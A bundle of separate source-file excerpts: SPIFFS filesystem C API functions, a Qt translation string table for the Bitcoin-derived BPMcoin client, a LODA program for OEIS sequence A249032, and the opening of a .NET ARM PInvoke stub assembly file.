struct spiffs_dirent *e = (struct spiffs_dirent*)user_var_p;
e->obj_id = obj_id;
strcpy((char *)e->name, (char *)objix_hdr.name);
e->type = objix_hdr.type;
e->size = objix_hdr.size == SPIFFS_UNDEFINED_LEN ? 0 : objix_hdr.size;
e->pix = pix;
#if SPIFFS_OBJ_META_LEN
_SPIFFS_MEMCPY(e->meta, objix_hdr.meta, SPIFFS_OBJ_META_LEN);
#endif
return SPIFFS_OK;
}
return SPIFFS_VIS_COUNTINUE;
}
struct spiffs_dirent *SPIFFS_readdir(spiffs_DIR *d, struct spiffs_dirent *e) {
SPIFFS_API_DBG("%s\n", __func__);
if (!SPIFFS_CHECK_MOUNT(d->fs)) {
d->fs->err_code = SPIFFS_ERR_NOT_MOUNTED;
return 0;
}
SPIFFS_LOCK(d->fs);
spiffs_block_ix bix;
int entry;
s32_t res;
struct spiffs_dirent *ret = 0;
res = spiffs_obj_lu_find_entry_visitor(d->fs,
d->block,
d->entry,
SPIFFS_VIS_NO_WRAP,
0,
spiffs_read_dir_v,
0,
e,
&bix,
&entry);
if (res == SPIFFS_OK) {
d->block = bix;
d->entry = entry + 1;
e->obj_id &= ~SPIFFS_OBJ_ID_IX_FLAG;
ret = e;
} else {
d->fs->err_code = res;
}
SPIFFS_UNLOCK(d->fs);
return ret;
}
s32_t SPIFFS_closedir(spiffs_DIR *d) {
SPIFFS_API_DBG("%s\n", __func__);
SPIFFS_API_CHECK_CFG(d->fs);
SPIFFS_API_CHECK_MOUNT(d->fs);
return 0;
}
s32_t SPIFFS_check(spiffs *fs) {
SPIFFS_API_DBG("%s\n", __func__);
#if SPIFFS_READ_ONLY
(void)fs;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
res = spiffs_lookup_consistency_check(fs, 0);
res = spiffs_object_index_consistency_check(fs);
res = spiffs_page_consistency_check(fs);
res = spiffs_obj_lu_scan(fs);
SPIFFS_UNLOCK(fs);
return res;
#endif // SPIFFS_READ_ONLY
}
s32_t SPIFFS_info(spiffs *fs, u32_t *total, u32_t *used) {
SPIFFS_API_DBG("%s\n", __func__);
s32_t res = SPIFFS_OK;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
u32_t pages_per_block = SPIFFS_PAGES_PER_BLOCK(fs);
u32_t blocks = fs->block_count;
u32_t obj_lu_pages = SPIFFS_OBJ_LOOKUP_PAGES(fs);
u32_t data_page_size = SPIFFS_DATA_PAGE_SIZE(fs);
u32_t total_data_pages = (blocks - 2) * (pages_per_block - obj_lu_pages) + 1; // -2 for spare blocks, +1 for emergency page
if (total) {
*total = total_data_pages * data_page_size;
}
if (used) {
*used = fs->stats_p_allocated * data_page_size;
}
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_gc_quick(spiffs *fs, u16_t max_free_pages) {
SPIFFS_API_DBG("%s " _SPIPRIi "\n", __func__, max_free_pages);
#if SPIFFS_READ_ONLY
(void)fs; (void)max_free_pages;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
res = spiffs_gc_quick(fs, max_free_pages);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return 0;
#endif // SPIFFS_READ_ONLY
}
s32_t SPIFFS_gc(spiffs *fs, u32_t size) {
SPIFFS_API_DBG("%s " _SPIPRIi "\n", __func__, size);
#if SPIFFS_READ_ONLY
(void)fs; (void)size;
return SPIFFS_ERR_RO_NOT_IMPL;
#else
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
res = spiffs_gc_check(fs, size);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return 0;
#endif // SPIFFS_READ_ONLY
}
s32_t SPIFFS_eof(spiffs *fs, spiffs_file fh) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
spiffs_fd *fd;
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if SPIFFS_CACHE_WR
res = spiffs_fflush_cache(fs, fh);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#endif
res = (fd->fdoffset >= (fd->size == SPIFFS_UNDEFINED_LEN ? 0 : fd->size));
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_tell(spiffs *fs, spiffs_file fh) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
spiffs_fd *fd;
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#if SPIFFS_CACHE_WR
res = spiffs_fflush_cache(fs, fh);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
#endif
res = fd->fdoffset;
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_set_file_callback_func(spiffs *fs, spiffs_file_callback cb_func) {
SPIFFS_API_DBG("%s\n", __func__);
SPIFFS_LOCK(fs);
fs->file_cb_f = cb_func;
SPIFFS_UNLOCK(fs);
return 0;
}
#if SPIFFS_IX_MAP
s32_t SPIFFS_ix_map(spiffs *fs, spiffs_file fh, spiffs_ix_map *map,
u32_t offset, u32_t len, spiffs_page_ix *map_buf) {
SPIFFS_API_DBG("%s " _SPIPRIfd " " _SPIPRIi " " _SPIPRIi "\n", __func__, fh, offset, len);
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
spiffs_fd *fd;
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if (fd->ix_map) {
SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_IX_MAP_MAPPED);
}
map->map_buf = map_buf;
map->offset = offset;
// nb: spix range includes last
map->start_spix = offset / SPIFFS_DATA_PAGE_SIZE(fs);
map->end_spix = (offset + len) / SPIFFS_DATA_PAGE_SIZE(fs);
memset(map_buf, 0, sizeof(spiffs_page_ix) * (map->end_spix - map->start_spix + 1));
fd->ix_map = map;
// scan for pixes
res = spiffs_populate_ix_map(fs, fd, 0, map->end_spix - map->start_spix + 1);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_ix_unmap(spiffs *fs, spiffs_file fh) {
SPIFFS_API_DBG("%s " _SPIPRIfd "\n", __func__, fh);
s32_t res;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
spiffs_fd *fd;
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if (fd->ix_map == 0) {
SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_IX_MAP_UNMAPPED);
}
fd->ix_map = 0;
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offset) {
SPIFFS_API_DBG("%s " _SPIPRIfd " " _SPIPRIi "\n", __func__, fh, offset);
s32_t res = SPIFFS_OK;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
fh = SPIFFS_FH_UNOFFS(fs, fh);
spiffs_fd *fd;
res = spiffs_fd_get(fs, fh, &fd);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
if (fd->ix_map == 0) {
SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_IX_MAP_UNMAPPED);
}
spiffs_ix_map *map = fd->ix_map;
s32_t spix_diff = offset / SPIFFS_DATA_PAGE_SIZE(fs) - map->start_spix;
map->offset = offset;
// move existing pixes if within map offs
if (spix_diff != 0) {
// move vector
int i;
const s32_t vec_len = map->end_spix - map->start_spix + 1; // spix range includes last
map->start_spix += spix_diff;
map->end_spix += spix_diff;
if (spix_diff >= vec_len) {
// moving beyond range
memset(&map->map_buf, 0, vec_len * sizeof(spiffs_page_ix));
// populate_ix_map is inclusive
res = spiffs_populate_ix_map(fs, fd, 0, vec_len-1);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
} else if (spix_diff > 0) {
// diff positive
for (i = 0; i < vec_len - spix_diff; i++) {
map->map_buf[i] = map->map_buf[i + spix_diff];
}
// memset is non-inclusive
memset(&map->map_buf[vec_len - spix_diff], 0, spix_diff * sizeof(spiffs_page_ix));
// populate_ix_map is inclusive
res = spiffs_populate_ix_map(fs, fd, vec_len - spix_diff, vec_len-1);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
} else {
// diff negative
for (i = vec_len - 1; i >= -spix_diff; i--) {
map->map_buf[i] = map->map_buf[i + spix_diff];
}
// memset is non-inclusive
memset(&map->map_buf[0], 0, -spix_diff * sizeof(spiffs_page_ix));
// populate_ix_map is inclusive
res = spiffs_populate_ix_map(fs, fd, 0, -spix_diff - 1);
SPIFFS_API_CHECK_RES_UNLOCK(fs, res);
}
}
SPIFFS_UNLOCK(fs);
return res;
}
s32_t SPIFFS_bytes_to_ix_map_entries(spiffs *fs, u32_t bytes) {
SPIFFS_API_CHECK_CFG(fs);
// always add one extra page, the offset might change to the middle of a page
return (bytes + SPIFFS_DATA_PAGE_SIZE(fs) ) / SPIFFS_DATA_PAGE_SIZE(fs);
}
s32_t SPIFFS_ix_map_entries_to_bytes(spiffs *fs, u32_t map_page_ix_entries) {
SPIFFS_API_CHECK_CFG(fs);
return map_page_ix_entries * SPIFFS_DATA_PAGE_SIZE(fs);
}
#endif // SPIFFS_IX_MAP
#if SPIFFS_TEST_VISUALISATION
s32_t SPIFFS_vis(spiffs *fs) {
s32_t res = SPIFFS_OK;
SPIFFS_API_CHECK_CFG(fs);
SPIFFS_API_CHECK_MOUNT(fs);
SPIFFS_LOCK(fs);
int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id));
spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work;
spiffs_block_ix bix = 0;
while (bix < fs->block_count) {
// check each object lookup page
int obj_lookup_page = 0;
int cur_entry = 0;
while (res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) {
int entry_offset = obj_lookup_page * entries_per_page;
res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ,
0, bix * SPIFFS_CFG_LOG_BLOCK_SZ(fs) + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work);
// check each entry
while (res == SPIFFS_OK &&
cur_entry - entry_offset < entries_per_page && cur_entry < (int)(SPIFFS_PAGES_PER_BLOCK(fs)-SPIFFS_OBJ_LOOKUP_PAGES(fs))) {
spiffs_obj_id obj_id = obj_lu_buf[cur_entry-entry_offset];
if (cur_entry == 0) {
spiffs_printf(_SPIPRIbl" ", bix);
} else if ((cur_entry & 0x3f) == 0) {
spiffs_printf(" ");
}
if (obj_id == SPIFFS_OBJ_ID_FREE) {
spiffs_printf(SPIFFS_TEST_VIS_FREE_STR);
} else if (obj_id == SPIFFS_OBJ_ID_DELETED) {
spiffs_printf(SPIFFS_TEST_VIS_DELE_STR);
} else if (obj_id & SPIFFS_OBJ_ID_IX_FLAG){
spiffs_printf(SPIFFS_TEST_VIS_INDX_STR(obj_id));
} else {
spiffs_printf(SPIFFS_TEST_VIS_DATA_STR(obj_id));
}
cur_entry++;
if ((cur_entry & 0x3f) == 0) {
spiffs_printf("\n");
}
} // per entry
obj_lookup_page++;
} // per object lookup page
spiffs_obj_id erase_count;
res = _spiffs_rd(fs, SPIFFS_OP_C_READ | SPIFFS_OP_T_OBJ_LU2, 0,
SPIFFS_ERASE_COUNT_PADDR(fs, bix),
sizeof(spiffs_obj_id), (u8_t *)&erase_count);
SPIFFS_CHECK_RES(res);
if (erase_count != (spiffs_obj_id)-1) {
spiffs_printf("\tera_cnt: " _SPIPRIi "\n", erase_count);
} else {
spiffs_printf("\tera_cnt: N/A\n");
}
bix++;
} // per block
spiffs_printf("era_cnt_max: " _SPIPRIi "\n", fs->max_erase_count);
spiffs_printf("last_errno: " _SPIPRIi "\n", fs->err_code);
spiffs_printf("blocks: " _SPIPRIi "\n", fs->block_count);
spiffs_printf("free_blocks: " _SPIPRIi "\n", fs->free_blocks);
spiffs_printf("page_alloc: " _SPIPRIi "\n", fs->stats_p_allocated);
spiffs_printf("page_delet: " _SPIPRIi "\n", fs->stats_p_deleted);
SPIFFS_UNLOCK(fs);
u32_t total, used;
SPIFFS_info(fs, &total, &used);
spiffs_printf("used: " _SPIPRIi " of " _SPIPRIi "\n", used, total);
return res;
}
#endif
};
|
#include <QtGlobal>
// Automatically generated by extract_strings.py
#ifdef __GNUC__
#define UNUSED __attribute__((unused))
#else
#define UNUSED
#endif
static const char UNUSED *bitcoin_strings[] = {
QT_TRANSLATE_NOOP("bitcoin-core", ""
"%s, you must set a rpcpassword in the configuration file:\n"
"%s\n"
"It is recommended you use the following random password:\n"
"rpcuser=bpmcoinrpc\n"
"rpcpassword=%s\n"
"(you do not need to remember this password)\n"
"The username and password MUST NOT be the same.\n"
"If the file does not exist, create it with owner-readable-only file "
"permissions.\n"
"It is also recommended to set alertnotify so you are notified of problems;\n"
"for example: alertnotify=echo %%s | mail -s \"BPMcoin Alert\" admin@foo.com\n"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:"
"@STRENGTH)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"An error occurred while setting up the RPC port %u for listening on IPv4: %s"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"An error occurred while setting up the RPC port %u for listening on IPv6, "
"falling back to IPv4: %s"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Bind to given address and always listen on it. Use [host]:port notation for "
"IPv6"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Cannot obtain a lock on data directory %s. BPMcoin is probably already "
"running."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Error: The transaction was rejected! This might happen if some of the coins "
"in your wallet were already spent, such as if you used a copy of wallet.dat "
"and coins were spent in the copy but not marked as spent here."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Error: This transaction requires a transaction fee of at least %s because of "
"its amount, complexity, or use of recently received funds!"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Execute command when a relevant alert is received (%s in cmd is replaced by "
"message)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Execute command when a wallet transaction changes (%s in cmd is replaced by "
"TxID)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Execute command when the best block changes (%s in cmd is replaced by block "
"hash)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Listen for JSON-RPC connections on <port> (default: 9332 or testnet: 19332)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Number of seconds to keep misbehaving peers from reconnecting (default: "
"86400)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Set maximum size of high-priority/low-fee transactions in bytes (default: "
"27000)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Set the number of script verification threads (up to 16, 0 = auto, <0 = "
"leave that many cores free, default: 0)"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"This is a pre-release test build - use at your own risk - do not use for "
"mining or merchant applications"),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Unable to bind to %s on this computer. BPMcoin is probably already running."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Warning: -paytxfee is set very high! This is the transaction fee you will "
"pay if you send a transaction."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Warning: Displayed transactions may not be correct! You may need to upgrade, "
"or other nodes may need to upgrade."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Warning: Please check that your computer's date and time are correct! If "
"your clock is wrong BPMcoin will not work properly."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Warning: error reading wallet.dat! All keys read correctly, but transaction "
"data or address book entries might be missing or incorrect."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as "
"wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect "
"you should restore from a backup."),
QT_TRANSLATE_NOOP("bitcoin-core", ""
"You must set rpcpassword=<password> in the configuration file:\n"
"%s\n"
"If the file does not exist, create it with owner-readable-only file "
"permissions."),
QT_TRANSLATE_NOOP("bitcoin-core", "Accept command line and JSON-RPC commands"),
QT_TRANSLATE_NOOP("bitcoin-core", "Accept connections from outside (default: 1 if no -proxy or -connect)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Add a node to connect to and attempt to keep the connection open"),
QT_TRANSLATE_NOOP("bitcoin-core", "Allow DNS lookups for -addnode, -seednode and -connect"),
QT_TRANSLATE_NOOP("bitcoin-core", "Allow JSON-RPC connections from specified IP address"),
QT_TRANSLATE_NOOP("bitcoin-core", "Attempt to recover private keys from a corrupt wallet.dat"),
QT_TRANSLATE_NOOP("bitcoin-core", "BPMcoin version"),
QT_TRANSLATE_NOOP("bitcoin-core", "Block creation options:"),
QT_TRANSLATE_NOOP("bitcoin-core", "Cannot downgrade wallet"),
QT_TRANSLATE_NOOP("bitcoin-core", "Cannot resolve -bind address: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Cannot resolve -externalip address: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Cannot write default address"),
QT_TRANSLATE_NOOP("bitcoin-core", "Connect only to the specified node(s)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Connect through socks proxy"),
QT_TRANSLATE_NOOP("bitcoin-core", "Connect to a node to retrieve peer addresses, and disconnect"),
QT_TRANSLATE_NOOP("bitcoin-core", "Corrupted block database detected"),
QT_TRANSLATE_NOOP("bitcoin-core", "Discover own IP address (default: 1 when listening and no -externalip)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Do you want to rebuild the block database now?"),
QT_TRANSLATE_NOOP("bitcoin-core", "Done loading"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error initializing block database"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error initializing wallet database environment %s!"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error loading block database"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error loading wallet.dat"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error loading wallet.dat: Wallet corrupted"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error loading wallet.dat: Wallet requires newer version of BPMcoin"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error opening block database"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error: Disk space is low!"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error: Wallet locked, unable to create transaction!"),
QT_TRANSLATE_NOOP("bitcoin-core", "Error: system error: "),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to listen on any port. Use -listen=0 if you want this."),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to read block info"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to read block"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to sync block index"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write block index"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write block info"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write block"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write file info"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write to coin database"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write transaction index"),
QT_TRANSLATE_NOOP("bitcoin-core", "Failed to write undo data"),
QT_TRANSLATE_NOOP("bitcoin-core", "Fee per KB to add to transactions you send"),
QT_TRANSLATE_NOOP("bitcoin-core", "Find peers using DNS lookup (default: 1 unless -connect)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Generate coins (default: 0)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Get help for a command"),
QT_TRANSLATE_NOOP("bitcoin-core", "How many blocks to check at startup (default: 288, 0 = all)"),
QT_TRANSLATE_NOOP("bitcoin-core", "How thorough the block verification is (0-4, default: 3)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Imports blocks from external blk000??.dat file"),
QT_TRANSLATE_NOOP("bitcoin-core", "Information"),
QT_TRANSLATE_NOOP("bitcoin-core", "Insufficient funds"),
QT_TRANSLATE_NOOP("bitcoin-core", "Invalid -proxy address: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Invalid -tor address: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount for -minrelaytxfee=<amount>: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount for -mintxfee=<amount>: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount for -paytxfee=<amount>: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount"),
QT_TRANSLATE_NOOP("bitcoin-core", "List commands"),
QT_TRANSLATE_NOOP("bitcoin-core", "Listen for connections on <port> (default: 9333 or testnet: 19333)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Loading addresses..."),
QT_TRANSLATE_NOOP("bitcoin-core", "Loading block index..."),
QT_TRANSLATE_NOOP("bitcoin-core", "Loading wallet..."),
QT_TRANSLATE_NOOP("bitcoin-core", "Maintain a full transaction index (default: 0)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Maintain at most <n> connections to peers (default: 125)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Not enough file descriptors available."),
QT_TRANSLATE_NOOP("bitcoin-core", "Only accept block chain matching built-in checkpoints (default: 1)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Only connect to nodes in network <net> (IPv4, IPv6 or Tor)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Options:"),
QT_TRANSLATE_NOOP("bitcoin-core", "Output extra debugging information. Implies all other -debug* options"),
QT_TRANSLATE_NOOP("bitcoin-core", "Output extra network debugging information"),
QT_TRANSLATE_NOOP("bitcoin-core", "Password for JSON-RPC connections"),
QT_TRANSLATE_NOOP("bitcoin-core", "Prepend debug output with timestamp"),
QT_TRANSLATE_NOOP("bitcoin-core", "Rebuild block chain index from current blk000??.dat files"),
QT_TRANSLATE_NOOP("bitcoin-core", "Rescan the block chain for missing wallet transactions"),
QT_TRANSLATE_NOOP("bitcoin-core", "Rescanning..."),
QT_TRANSLATE_NOOP("bitcoin-core", "Run in the background as a daemon and accept commands"),
QT_TRANSLATE_NOOP("bitcoin-core", "SSL options: (see the BPMcoin Wiki for SSL setup instructions)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Select the version of socks proxy to use (4-5, default: 5)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Send command to -server or bpmcoind"),
QT_TRANSLATE_NOOP("bitcoin-core", "Send commands to node running on <ip> (default: 127.0.0.1)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Send trace/debug info to console instead of debug.log file"),
QT_TRANSLATE_NOOP("bitcoin-core", "Send trace/debug info to debugger"),
QT_TRANSLATE_NOOP("bitcoin-core", "Server certificate file (default: server.cert)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Server private key (default: server.pem)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Set database cache size in megabytes (default: 25)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Set key pool size to <n> (default: 100)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Set maximum block size in bytes (default: 250000)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Set minimum block size in bytes (default: 0)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Set the number of threads to service RPC calls (default: 4)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Shrink debug.log file on client startup (default: 1 when no -debug)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Signing transaction failed"),
QT_TRANSLATE_NOOP("bitcoin-core", "Specify configuration file (default: bpmcoin.conf)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Specify connection timeout in milliseconds (default: 5000)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Specify data directory"),
QT_TRANSLATE_NOOP("bitcoin-core", "Specify pid file (default: bpmcoind.pid)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Specify your own public address"),
QT_TRANSLATE_NOOP("bitcoin-core", "System error: "),
QT_TRANSLATE_NOOP("bitcoin-core", "This help message"),
QT_TRANSLATE_NOOP("bitcoin-core", "Threshold for disconnecting misbehaving peers (default: 100)"),
QT_TRANSLATE_NOOP("bitcoin-core", "To use the %s option"),
QT_TRANSLATE_NOOP("bitcoin-core", "Transaction amount too small"),
QT_TRANSLATE_NOOP("bitcoin-core", "Transaction amounts must be positive"),
QT_TRANSLATE_NOOP("bitcoin-core", "Transaction too large"),
QT_TRANSLATE_NOOP("bitcoin-core", "Unable to bind to %s on this computer (bind returned error %d, %s)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Unknown -socks proxy version requested: %i"),
QT_TRANSLATE_NOOP("bitcoin-core", "Unknown network specified in -onlynet: '%s'"),
QT_TRANSLATE_NOOP("bitcoin-core", "Upgrade wallet to latest format"),
QT_TRANSLATE_NOOP("bitcoin-core", "Usage:"),
QT_TRANSLATE_NOOP("bitcoin-core", "Use OpenSSL (https) for JSON-RPC connections"),
QT_TRANSLATE_NOOP("bitcoin-core", "Use UPnP to map the listening port (default: 0)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Use UPnP to map the listening port (default: 1 when listening)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Use proxy to reach tor hidden services (default: same as -proxy)"),
QT_TRANSLATE_NOOP("bitcoin-core", "Use the test network"),
QT_TRANSLATE_NOOP("bitcoin-core", "Username for JSON-RPC connections"),
QT_TRANSLATE_NOOP("bitcoin-core", "Verifying blocks..."),
QT_TRANSLATE_NOOP("bitcoin-core", "Verifying wallet..."),
QT_TRANSLATE_NOOP("bitcoin-core", "Wallet needed to be rewritten: restart BPMcoin to complete"),
QT_TRANSLATE_NOOP("bitcoin-core", "Warning"),
QT_TRANSLATE_NOOP("bitcoin-core", "Warning: This version is obsolete, upgrade required!"),
QT_TRANSLATE_NOOP("bitcoin-core", "You need to rebuild the database using -reindex to change -txindex"),
QT_TRANSLATE_NOOP("bitcoin-core", "wallet.dat corrupt, salvage failed"),
};
|
; A249032: First differences of A075326.
; 3,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,6,4,6,4,5,5,6,4,5,5,6,4,5,5,6,4,6,4,6
mov $3,2
mov $5,$0
lpb $3,1
mov $0,$5
sub $3,1
add $0,$3
sub $0,1
mov $7,$0
add $0,1
mul $0,2
gcd $0,281474976710656
mod $0,3
mod $0,2
add $0,1
mov $2,$3
mov $4,$0
add $4,6
mov $6,$7
mul $6,9
add $4,$6
lpb $2,1
mov $1,$4
sub $2,1
lpe
lpe
lpb $5,1
sub $1,$4
mov $5,0
lpe
sub $1,4
|
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; See the LICENSE file in the project root for more information.
;; ==++==
;;
;;
;; ==--==
#include "ksarm.h"
#include "asmconstants.h"
#include "asmmacros.h"
IMPORT VarargPInvokeStubWorker
IMPORT GenericPInvokeCalliStubWorker
IMPORT JIT_PInvokeEndRarePath
IMPORT s_gsCookie
IMPORT g_TrapReturningThreads
SETALIAS InlinedCallFrame_vftable, ??_7InlinedCallFrame@@6B@
IMPORT $InlinedCallFrame_vftable
; ------------------------------------------------------------------
; Macro to generate PInvoke Stubs.
; $__PInvokeStubFuncName : function which calls the actual stub obtained from VASigCookie
; $__PInvokeGenStubFuncName : function which generates the IL stubs for PInvoke
;
; Params :-
